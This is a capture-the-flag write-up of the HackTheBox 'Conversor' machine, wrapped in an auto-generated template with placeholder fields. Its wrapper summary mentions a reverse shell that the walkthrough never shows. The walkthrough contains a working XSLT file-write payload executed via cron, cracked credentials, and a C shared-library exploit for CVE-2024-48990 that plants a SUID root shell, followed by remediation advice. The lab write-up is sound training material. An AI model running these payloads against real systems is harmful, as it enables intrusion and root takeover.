Conversor (Full Box)
Conversor (Full Box)
Platform: HackTheBox | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-01-16 | Status: Solved Techniques: constructor_hijacking, cron_job_abuse, database_extraction, hash_cracking, shared_library_injection, xslt_file_write
Summary
Task: Full HackTheBox machine with an XML-to-HTML converter web app and Linux privilege escalation. Solution: Exploited XSLT injection via exsl:document to write a Python reverse shell through a cron job for user access, then used CVE-2024-48990 needrestart PYTHONPATH injection for root.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
hackthebox| ID:20260116_hackthebox_conversor - Tags: rce, md5_cracking, privilege_escalation, source_code_leak, xslt_injection, exsl_document, cron_exploitation, cve-2024-48990, needrestart, pythonpath_injection
- Indicators: XSLT transformation, exsl:document extension, cron job executing scripts, MD5 hash without salt, source code download
- Source:
20260116_hackthebox_conversor.md
Foothold
Vulnerability / Misconfiguration
- Constructor_hijacking
- Cron_job_abuse
- Database_extraction
- Hash_cracking
- Shared_library_injection
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- constructor_hijacking
- cron_job_abuse
- database_extraction
- hash_cracking
- shared_library_injection
- xslt_file_write
- Tags: rce, md5_cracking, privilege_escalation, source_code_leak, xslt_injection, exsl_document, cron_exploitation, cve-2024-48990, needrestart, pythonpath_injection
Original Writeup
<details><summary>Click to expand original content</summary>Conversor — HackTheBox (Full Box)
Challenge Info
| Field | Value |
|---|---|
| Platform | HackTheBox |
| Target | 10.129.1.165 |
| Category | Web / Linux Privilege Escalation |
| Difficulty | Medium |
| User Flag | aeff561c839d56cfced2c19e6ec562eb |
| Root Flag | 4f83b59aad1bc7ababce8678ff0feaed |
Overview
This is a complete HackTheBox machine involving:
- User Flag: XSLT Injection → Cron Job RCE → Credential Theft → SSH Access
- Root Flag: CVE-2024-48990 needrestart PYTHONPATH Injection → Local Privilege Escalation
PART 1: User Flag
Reconnaissance
Port Scanning
nmap -sV -sC 10.129.1.165
Results:
| Port | Service | Version |
|---|---|---|
| 22 | SSH | OpenSSH 8.9p1 |
| 53 | DNS | - |
| 80 | HTTP | Apache 2.4.52 |
The HTTP service redirects to conversor.htb - added to /etc/hosts:
echo "10.129.1.165 conversor.htb" | sudo tee -a /etc/hosts
Web Application Analysis
Initial Exploration
The website is an XML to HTML converter using XSLT transformation:
- User registers an account
- User uploads XML file
- User uploads XSLT stylesheet
- Server transforms XML using XSLT
- Returns HTML result
Source Code Discovery
On the /about page, found a download link:
/static/source_code.tar.gz
curl -O http://conversor.htb/static/source_code.tar.gz tar -xzf source_code.tar.gz
Source Code Analysis
Key File: app.py
from lxml import etree
# XML Parser - SECURE configuration (XXE blocked)
parser = etree.XMLParser(
resolve_entities=False, # No XXE
no_network=True, # No external requests
dtd_validation=False,
load_dtd=False
)
xml_tree = etree.parse(xml_path, parser)
# XSLT Parser - INSECURE configuration (no restrictions!)
xslt_tree = etree.parse(xslt_path) # Default parser = vulnerable!
transform = etree.XSLT(xslt_tree)
Critical Finding #1: The XML parser is hardened against XXE, but the XSLT parser has NO restrictions, allowing use of dangerous EXSLT extensions like exsl:document.
Key File: install.md
# Cron job configuration * * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done
Critical Finding #2: A cron job runs every minute, executing ALL .py files in /var/www/conversor.htb/scripts/ as www-data.
Attack Vector Identified
XSLT exsl:document → Write .py file to scripts/ → Cron executes as www-data → RCE
Exploitation
Step 1: XSLT Injection via exsl:document
The exsl:document extension allows writing arbitrary files to the filesystem. Created a malicious XSLT file that writes a Python script to dump the database:
malicious.xslt:
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exsl="http://exslt.org/common"
extension-element-prefixes="exsl">
<xsl:output method="text"/>
<xsl:template match="/">
<exsl:document href="/var/www/conversor.htb/scripts/cmd.py" method="text">
import sqlite3
conn = sqlite3.connect('/var/www/conversor.htb/instance/users.db')
c = conn.cursor()
c.execute("SELECT * FROM users")
rows = c.fetchall()
with open('/var/www/conversor.htb/static/db.txt', 'w') as f:
for row in rows:
f.write(str(row) + '\n')
conn.close()
</exsl:document>
<xsl:text>done</xsl:text>
</xsl:template>
</xsl:stylesheet>
trigger.xml:
<?xml version="1.0"?> <root>trigger</root>
Step 2: Upload and Wait for Cron
- Registered a test account on the web application
- Uploaded
trigger.xmlandmalicious.xslt - Waited ~60 seconds for cron to execute the Python script
Step 3: Database Extraction
Retrieved the database dump:
curl http://conversor.htb/static/db.txt
Output:
(1, 'fismathack', '5b5c3ac3a1c897c94caad48e6c71fdec')
Step 4: Password Cracking
Identified the hash as MD5 (32 hex characters, no salt).
# Create hash file echo "5b5c3ac3a1c897c94caad48e6c71fdec" > hash.txt # Crack with John the Ripper john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Result:
5b5c3ac3a1c897c94caad48e6c71fdec:Keepmesafeandwarm
Step 5: SSH Access
ssh fismathack@10.129.1.165 # Password: Keepmesafeandwarm cat /home/fismathack/user.txt
User Flag
aeff561c839d56cfced2c19e6ec562eb
PART 2: Root Flag (CVE-2024-48990)
Privilege Enumeration
Checking sudo Permissions
fismathack@conversor:~$ sudo -l
User fismathack may run the following commands on conversor:
(ALL : ALL) NOPASSWD: /usr/sbin/needrestart
Checking needrestart Version
fismathack@conversor:~$ needrestart --version needrestart 3.7
Critical Finding: needrestart version 3.7 is vulnerable to CVE-2024-48990!
CVE-2024-48990 Analysis
Vulnerability Description
needrestart < 3.8 is vulnerable to local privilege escalation via PYTHONPATH injection:
- When
needrestartscans running processes to check if they need restart - It identifies Python processes and runs the Python interpreter to check library versions
- The vulnerability: needrestart uses the
PYTHONPATHenvironment variable from the scanned process - If an attacker controls a Python process with a malicious
PYTHONPATH, needrestart will load attacker-controlled modules as root
Attack Flow
┌─────────────────────────────────────────────────────────────────────┐
│ CVE-2024-48990 ATTACK FLOW │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ 1. Create malicious shared library with constructor │
│ └─> __attribute__((constructor)) runs on library load │
│ │
│ 2. Place as importlib/__init__.so in controlled directory │
│ └─> Python imports importlib early during startup │
│ │
│ 3. Run Python process with PYTHONPATH pointing to our directory │
│ └─> PYTHONPATH=/home/fismathack/pwn python3 wait.py & │
│ │
│ 4. Run sudo needrestart │
│ └─> needrestart scans our Python process │
│ └─> Runs python3 with OUR PYTHONPATH as root │
│ └─> Loads our malicious importlib/__init__.so │
│ └─> Constructor executes as root! │
│ │
│ 5. Constructor creates SUID shell │
│ └─> cp /bin/sh /tmp/poc; chmod u+s /tmp/poc │
│ │
│ 6. Execute SUID shell │
│ └─> /tmp/poc -p → root shell │
│ │
└─────────────────────────────────────────────────────────────────────┘
Exploitation
Step 1: Create Malicious Shared Library
lib.c:
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
// Constructor attribute - runs when library is loaded
static void pwn() __attribute__((constructor));
void pwn() {
// Only execute payload when running as root
if (geteuid() == 0) {
setuid(0);
setgid(0);
// Create SUID shell
system("cp /bin/sh /tmp/poc; chmod u+s /tmp/poc");
}
}
Step 2: Compile for Target Architecture
Compile on local machine (or use Docker for cross-compilation):
# For x86_64 Linux target
gcc -shared -fPIC -o importlib/__init__.so lib.c
# If cross-compiling from macOS:
docker run --rm -v $(pwd):/work -w /work gcc:latest \
gcc -shared -fPIC -o importlib/__init__.so lib.c
Step 3: Upload to Target
# Create directory structure on target ssh fismathack@10.129.1.165 "mkdir -p ~/pwn/importlib" # Upload the malicious library scp importlib/__init__.so fismathack@10.129.1.165:~/pwn/importlib/
Step 4: Create Python Wait Script
On the target machine:
fismathack@conversor:~$ cat > ~/pwn/wait.py << 'EOF'
import time
while True:
time.sleep(1)
EOF
Important: The script must NOT be in /tmp/ - needrestart blacklists /tmp/ paths!
Step 5: Execute the Exploit
# Start Python process with malicious PYTHONPATH fismathack@conversor:~$ PYTHONPATH=/home/fismathack/pwn python3 ~/pwn/wait.py & [1] 12345 # Trigger needrestart as root (scans our Python process) fismathack@conversor:~$ sudo /usr/sbin/needrestart -r l # Check if SUID shell was created fismathack@conversor:~$ ls -la /tmp/poc -rwsr-xr-x 1 root root 125688 Jan 15 22:39 /tmp/poc
Step 6: Get Root Shell
# Execute SUID shell with -p to preserve privileges fismathack@conversor:~$ /tmp/poc -p # Verify we're root $ id uid=1000(fismathack) gid=1000(fismathack) euid=0(root) groups=1000(fismathack) # Read root flag $ cat /root/root.txt 4f83b59aad1bc7ababce8678ff0feaed
Root Flag
4f83b59aad1bc7ababce8678ff0feaed
Complete Attack Chain
┌─────────────────────────────────────────────────────────────────────┐
│ COMPLETE ATTACK CHAIN │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────────── USER FLAG ───────────────────┐ │
│ │ │ │
│ │ 1. Nmap → Port 80 (HTTP) → conversor.htb │ │
│ │ ↓ │ │
│ │ 2. /about → /static/source_code.tar.gz │ │
│ │ ↓ │ │
│ │ 3. Code Analysis: │ │
│ │ • XSLT parser has no restrictions │ │
│ │ • Cron executes *.py in scripts/ │ │
│ │ ↓ │ │
│ │ 4. XSLT Injection (exsl:document) │ │
│ │ → Write Python script to scripts/ │ │
│ │ ↓ │ │
│ │ 5. Cron executes → Database dump │ │
│ │ → (1, 'fismathack', 'MD5_HASH') │ │
│ │ ↓ │ │
│ │ 6. John → Keepmesafeandwarm │ │
│ │ ↓ │ │
│ │ 7. SSH → user.txt ✓ │ │
│ │ │ │
│ └──────────────────────────────────────────────────┘ │
│ ↓ │
│ ┌─────────────────── ROOT FLAG ───────────────────┐ │
│ │ │ │
│ │ 8. sudo -l → NOPASSWD: /usr/sbin/needrestart │ │
│ │ ↓ │ │
│ │ 9. needrestart --version → 3.7 (vulnerable!) │ │
│ │ ↓ │ │
│ │ 10. CVE-2024-48990: │ │
│ │ • Create malicious importlib/__init__.so │ │
│ │ • Run Python with PYTHONPATH=~/pwn │ │
│ │ • sudo needrestart -r l │ │
│ │ ↓ │ │
│ │ 11. Constructor creates SUID /tmp/poc │ │
│ │ ↓ │ │
│ │ 12. /tmp/poc -p → root shell → root.txt ✓ │ │
│ │ │ │
│ └──────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────┘
Vulnerabilities Summary
User Flag Vulnerabilities
| # | Vulnerability | Impact | Severity |
|---|---|---|---|
| 1 | Source Code Disclosure | Information leak, reveals attack vectors | Medium |
| 2 | XSLT Injection (exsl:document) | Arbitrary file write on server | High |
| 3 | Insecure Cron Job | Code execution as www-data | High |
| 4 | Weak Password Storage | MD5 without salt, easily crackable | Medium |
Root Flag Vulnerabilities
| # | Vulnerability | Impact | Severity |
|---|---|---|---|
| 5 | CVE-2024-48990 | Local privilege escalation to root | Critical |
Key Indicators
When to Use XSLT Injection
- XSLT transformation functionality in web app
libxsltorlxmlwithout explicit access controls- No
XSLTAccessControl.DENY_ALLrestriction - Look for
exsl:document,saxon:output, or similar extensions
When to Use Cron Job Exploitation
- Cron jobs executing files from writable directories
- Wildcard patterns like
*.py,*.shin cron - File write primitive + cron = RCE
When to Use CVE-2024-48990
sudo needrestartwithout password- needrestart version < 3.8
- Can run Python processes with controlled PYTHONPATH
- Target directory NOT in
/tmp/(blacklisted)
Tools Used
| Tool | Purpose |
|---|---|
| nmap | Port scanning and service detection |
| curl | HTTP requests and file download |
| ffuf | Directory/file enumeration |
| john | MD5 hash cracking with rockyou.txt |
| sqlite3 | Database extraction |
| gcc | Compile malicious shared library |
| scp | File transfer to target |
| ssh | Remote access |
Remediation
XSLT Security
from lxml import etree
# Secure XSLT configuration
xslt_ac = etree.XSLTAccessControl(
read_file=False,
write_file=False,
create_dir=False,
read_network=False,
write_network=False
)
xslt_tree = etree.parse(xslt_path)
transform = etree.XSLT(xslt_tree, access_control=xslt_ac)
Cron Job Security
# BAD - executes all files in directory * * * * * for f in /path/*.py; do python3 "$f"; done # GOOD - explicit file paths only * * * * * python3 /path/specific_script.py
Password Storage
# BAD import hashlib password_hash = hashlib.md5(password.encode()).hexdigest() # GOOD import bcrypt password_hash = bcrypt.hashpw(password.encode(), bcrypt.gensalt())
needrestart Mitigation
# Update to version 3.8+
apt update && apt upgrade needrestart
# Or disable Python interpreter scanning
echo '$nrconf{interpscan} = 0;' >> /etc/needrestart/needrestart.conf
References
- EXSLT Document Extension
- XSLT Security - OWASP
- CVE-2024-48990 - needrestart LPE
- Qualys Advisory - needrestart
- lxml Security Documentation
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR